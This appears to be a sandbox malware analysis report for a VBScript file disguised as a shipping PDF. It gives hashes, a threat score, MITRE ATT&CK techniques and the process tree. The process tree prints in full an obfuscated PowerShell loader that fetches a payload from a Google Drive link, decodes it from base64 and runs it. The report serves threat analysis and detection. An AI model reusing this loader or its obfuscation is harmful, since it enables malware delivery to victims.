3161d5d0a756aeaf55bd427ec30f35e7a2cb307d88e36bddfd0dfebedacdf450

General

Target

SHIPPING DOCUMENT_PDF.vbs
Size

34KB
MD5

a6b12f631b09eb34cca4e10fbf1c7439
SHA1

0aacba2d2405b2cf27dc9faa06669c4f381c1d9a
SHA256

3161d5d0a756aeaf55bd427ec30f35e7a2cb307d88e36bddfd0dfebedacdf450
SHA512

76b40ad860e40028af3878c09d2160fc88ee5715afae412c5e8a1d11233bdc1ae459978b00ba1ff0d1eed638a396ec973130a009523886088e1c81019a64aadb
SSDEEP

384:XE/p5dFHav1y1TlJ+D3mrSh9sKrhtkdd/jJJEhMkCqB0HTP7/JQ:0/pRXb5Wn9rhtkdd/EhM3DxQ

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	4064	WScript.exe
8	1256	powershell.exe
14	1256	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	drive.google.com
8	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1256	powershell.exe
1256	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1256	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4064 wrote to memory of 1256	4064	WScript.exe	83
PID 4064 wrote to memory of 1256	4064	WScript.exe	83
PID 1256 wrote to memory of 5068	1256	powershell.exe	85
PID 1256 wrote to memory of 5068	1256	powershell.exe	85

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SHIPPING DOCUMENT_PDF.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Crossgrainedness = 1;$Consolidations='S';$Consolidations+='ubstrin';$Consolidations+='g';Function Pinligst242($Hexagyn){$Europrojektet=$Hexagyn.Length-$Crossgrainedness;For($Regningsarterne122=5;$Regningsarterne122 -lt $Europrojektet;$Regningsarterne122+=6){$Udspejdendes+=$Hexagyn.$Consolidations.Invoke( $Regningsarterne122, $Crossgrainedness);}$Udspejdendes;}function Sokes($Fablernes){& ($Arbejdsstederne) ($Fablernes);}$disconformably=Pinligst242 'Bana,M,cteno ,nogzp nkti do elMalaalEkskuaCar a/Under5treer.Count0ample B,nzi(M huaWunproi WekanAntiad EkspoTe.evwi telsTotal LinieNDoggiT eteo Ankus1Stati0 Vand.Nonco0R.tch;Sters KoaliWFlukti Misbn Afl 6 Ou f4studi;Sala, EntoxStaph6W.yla4Mdere;Sp ai FimsrDouchvVarm.:Tillg1Dr,ge2Varie1 ydri.Cheek0tyver) R so ,redG .dioeUrbefcUdlsnkAnve,oTilba/Vaske2Grena0.ekst1Tibia0 .avi0 ,urf1Purpo0Sphyg1Dybde S royFSammeiKnirkr afm esterlf Af roLookox hilo/Striv1Javan2Kated1j ngl.Abcsp0U,der ';$sundhedskommissioner=Pinligst242 'GelabUAmoursKatrie,caporAedea-SalliANyordg.ystee WattnEr vetKompl ';$Avowably=Pinligst242 ',nguih DesttKlovstToxitpOpdels Swel: Udel/Mods./Ass rdOutlir BombiSkil,v B eveUdvik.UncomgBundgo ffico NoddgRad,cl bereeAare..Ju efcSeksao F sim Snoo/ FolkugvinkcFutu.? MerseHaemoxTil.kpMasseoUnre,rA.optt Katt=Underd ,pleoHundrw Irrin RoislSkydeoKo onaHundedDiato&er itiGastrd skov=Timef1 HenlYMunketLamme4 UdskgBillehSkolasWahooZKobelTDdsdrbAlfedgParadCVoc.tK skruIferre8Sattv8 EpilWKonsuVskribbPreenmDep,rRVildtCVicev8 AfloHdisbaBGrimaoPinn,IEliciS BusduAndenNFlystWEllip4AlittKOvera ';$Hortorium=Pinligst242 'firep>Besmi ';$Arbejdsstederne=Pinligst242 'ScroliSt.ifePilnex Slac ';$Giggish='fielder';Sokes (Pinligst242 'UnimpSMislyeUerhotTmdet- .lteCKremeo unwonGainwt Parae forhnSt.iktzo el Clear-.unknPBi,teaPelvetKas,ehUdta, StephTModem:she,t\WrithD Sk,deFo,rtfEftereO,erlcPens.aB,ddetForbloStranrAdvis.IndbotRundkxAscent F.rv sa.le-FllesVKovaraFor.llAfblsuJuiceeD nin Overt$ObligG obaiGaufrgUndergFjolsiCrys,sPretyhWhats;Produ ');Sokes (Pinligst242 'Wirlii vaccfDomst Anigo( teletBrusheAbe.isOffict Til.-Amts,pStanda SlidtJenskhHaanl M,galTR ngs: Orie\ ochuDUnstue VertfPrefaeMariccEvneracswtotBypl.osvaltrLiney.OmgantUmusixSkn atindk,) Soup{Kredse Meikx,oldai Simptpalud} San.;Flu,r ');$peto = Pinligst242 ' MasseLordecDragthVa utoMater Aflu%TonefaUdsagpH lpepdesardConfaaForsit Insta Choo%tel.f\InundT Darkrpim eiBedriv HjlaiMeshwaSten lOplysiSe.estWhorieTeksttRustie.abrinNavnesTaste.MediekRobo.oBarsenSulfa Facia&Neddy&Konst TranseHennicUsaa,h GardoKniv U fl$Opini ';Sokes (Pinligst242 ' Cann$Op.olgSiphol,entgoFo,fab Sl,naSikkelFdsel:Ne vrCTankraEle,tl.annet Ov,rhErgonrFor ioparacp.unjc=spinu(PolyocKvindmBadeldC tto Tiddl/ Strgcbloka Horse$PrestpSel,zeTr aktSlvstoIzaak)L,ver ');Sokes (Pinligst242 ' Fugt$Cymesg Br tlFedteoBetjeb,fornaDolthlMulct:F,gleSK ibltDipl.rAfsteoVerdef.obbeiIndussHastik potp=Trans$Gurk,A,utsevO.ecroankylwUrbanaVe,bebM,snjlYttr yTokon.salgss TrvapBumbllgolfei.otentSmurt(Vrdik$ Yob,HBenkaoBarylrh,rset SyvsoTndstrD,lbeiudskru ThalmSemin)Afhst ');$Avowably=$Strofisk[0];Sokes (Pinligst242 'C,upu$KonsugOverwlFru goda.asbSublaaWagonlHaard:gironUSpatinS attdTrefoeBowshr vol,l R,stg ActigAnalyeNeutrnsymbodBoligeperidsOri.n= GaraN Arbee,ogmawFinge-AnaloOSyngnbPol oj KonteL plucUnerrtSmerv Pyr Sbeg,ly Lag sPh,totKrseleAlloemPatro.ForhaN etaceIncont,olar.S lfiWMi.roeKjoleb.tubmC Rarel ipteiFremoe barsnOpr,ltVarni ');Sokes (Pinligst242 'Mawky$ TubeU SavlnMaterdUncones,edjrSyvenlEyl,fg Monog Pilue Th.anEntredBr,mseSuasisAnraa.,eligHNon,nePresbaFlisedRotereStonerKron,sNonch[ Stud$Medi,s brneu uasinFr.ncdMatinhInveieAfmagdtelsos ma.ikBellioVa ormTela.mOverciTrffesColetsDestriP.ntio ,utrnRepu,eOpfinrCityt]Arveg=J ram$CentrdSpealiSwordsWallacLi ieomnst npropofVanemoL nderProsemStempaLakinbJi,belnytesyHalvf ');$Patao=Pinligst242 'unb.aUAzid.nfinjudBradyeNudisrElabolMe,ahgde azgUnbapeBolignOschedJenaseLlings Plum.ProtoD Bymso Darrw,fsavn MsinldokumoSansea adsd Eph.F .rediFo stlcalvaePneum( Stvl$Dem sAMode.vBespro.astrwBortgaE uisbKa melGrundyPseud, ,abi$,nsomHs.linoB,duimNo cooca,biePerryrFo,ieoVinyitkibesi SoldcForsk) Repr ';$Patao=$Calthrop[1]+$Patao;$Homoerotic=$Calthrop[0];Sokes (Pinligst242 ' in.e$PostogSeceslColonoReallbTrkgraRockelQuino:MeasuLGerm,eColimgHett,aCongetAfg si .catoskib,n RevoeHaan.r UkamnVkkele,idsisSuper8.orls0Ombes=Moca,(DelfiTDowncetr kks Bengt,hirl-San aPm untaKvajetEngelhHelis Readd$,artsHBanemoKapi,m GrupoAjlefeDiamar EvenoEnsomtRepe i Trelc Dumb) Sphe ');while (!$Legationernes80) {Sokes (Pinligst242 ' Unse$ DelfgVaebnlReorgoIodoebVand,aApokrlAspec:PrecoETeleftSouchiCa.cikFredskS,miceN,zisr Unjos comp= Slut$Rejset IsolrUrettuDisoreTyrke ') ;Sokes $Patao;Sokes (Pinligst242 'SympaS.andpt S.ipaColl,rtrendt Unca-MonitS BolilBemyneBilageAutoppImpre Myst4u pat ');Sokes (Pinligst242 'Unsul$Torpeg SenslT.ekkoTold bNont a Coell Ton,:ThermLEksotegadeagMilitaPyometalk,liTaplboAffyrn TereePseudrH idenMiswre DromsE,dys8 Manw0Indet=Scand(PlaywTDogede Nedss BlottUnsto-Noto,P BreaaO,krvtTol,vhFrkke Fugle$TelesH FjeroLejermM,todoSidereGu,tarI izeoBubbltP ofii Aeroc Unpr)Klemn ') ;Sokes (Pinligst242 'Astou$SadelgnightlAfskeo,kabsbOverda UnrelF rce:Tour,NOpdigoFaitsyKinetfOktavuIndv.lAhval=Tabo,$Sten.gBlokoloppa o SmagbMu.ika DatalCompu:Un.miJKultuuBarresMis vtBravoitrunkcNo.asi daala,elefr,coloyMisotsBuffohRattliA.tikp Sta,6Paast4Raast+S.ids+Indef%,ekla$Flui.SFundetEf err .veroStvsufSnderiOsrics.kolakOpr k.T.ykicMem,ro SluduRottenSpor.tslger ') ;$Avowably=$Strofisk[$Noyful];}Sokes (Pinligst242 'Mothe$PangagTje.slPerveoCockabRarelaTer,ilSvagb:P,ramTmisbia splekskippnDekedeIzaugmS.allm.equoe KlimlMateriBactegKomplh AktoeErkendBakissSkaft .ilmm=Overs TaarG TosseTeleftInder-ForynCGippeoNarthnRepubt MissebumsenSempitRefr, Se v$tomboHalt,ro D,mam BrndoSkr,de BramrSolipoMedictWhykeiZoolocHyldn ');Sokes (Pinligst242 'Filla$DollagT.eeklSpecioEnhedbKons a.randlDataf:WhumpSSs.sttPol.caMaybrlsulpha Bakkgnordum .retaKryst Sadne=Sy.pa ,ulsk[ UnfaSastraySterlsDan stMarkeeMelodmRette.Gl,ssCFa ilo LyttnSolbavPre.se InisrC,clitSko.j]Uncla: Chu,:Fo keFL,ndarBran,otilv.mLunnfBsnudea WaltsDisgaerideb6 Tita4La enSHa.dltTapi rMea oiIndenn olegAnato( Fan $ HinkTSkubbaAflsekMi,danAt erePassimTidsfmSlaa eJeapolTilhoiUnquagInda.hZoopheRhumbdAfgi.s ichi)skand ');Sokes (Pinligst242 'penne$ xtengscat,l notooPrescbBaandaTailslCoplo:PreprSkedgeaSkyttl Im.ugPseudsOmsttgPrec,aAmtsksF,men Telom=Turne perci[ KlarSSpermySponssKennitFo treSu,nym Fa,t.OverpT OvereRuth.xReasotHerba.fo,leESpaltn HrescKemoto SnerdMe taiCabl nBureag Sn s]malmi:Vlver:NjedeAUnd,rSV bisC InfiIB andITankr.ConfeGEscrie bac,tSyne.S Bro,tSu.plr LedniInfranDigamg ,udd(Al.uv$ nackS BalktHurt,aLaesnlDodekast,rvgDrik.mSl nga ,xul)Fr ca ');Sokes (Pinligst242 'Sdeba$OpinigSkvadlHaz aoTimotbHymieaHerrelFra,k:LeiotBG,ldelAcumeeUnwedeKrselrTilbyn ulpueFrid,sBr.vf= ,exa$LagerSNonblaBillel Adv gTypens uchig IndeaEkseksPreed.GuamasSyngnuVokalbFor,ksS,raatP,ther CeraiSmacknSympagColli(Strkn3Swo s1Infor0udgyd5Va ut7 U.sa1Pseud, Path2Paunc9Cont.5 Prer4sorce0Setip)Popul ');Sokes $Bleernes;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1256
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Trivialitetens.kon && echo $"
    3⤵
    PID:5068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e1v4nuyx.mnd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1256-4-0x00007FF966F30000-0x00007FF967125000-memory.dmp

Filesize
2.0MB

Download
memory/1256-10-0x00007FF966F30000-0x00007FF967125000-memory.dmp

Filesize
2.0MB

Download
memory/1256-16-0x000001FFE5660000-0x000001FFE5682000-memory.dmp

Filesize
136KB

Download
memory/1256-15-0x00007FF966F30000-0x00007FF967125000-memory.dmp

Filesize
2.0MB

Download
memory/1256-17-0x00007FF966F30000-0x00007FF967125000-memory.dmp

Filesize
2.0MB

Download
memory/1256-22-0x00007FF966F30000-0x00007FF967125000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing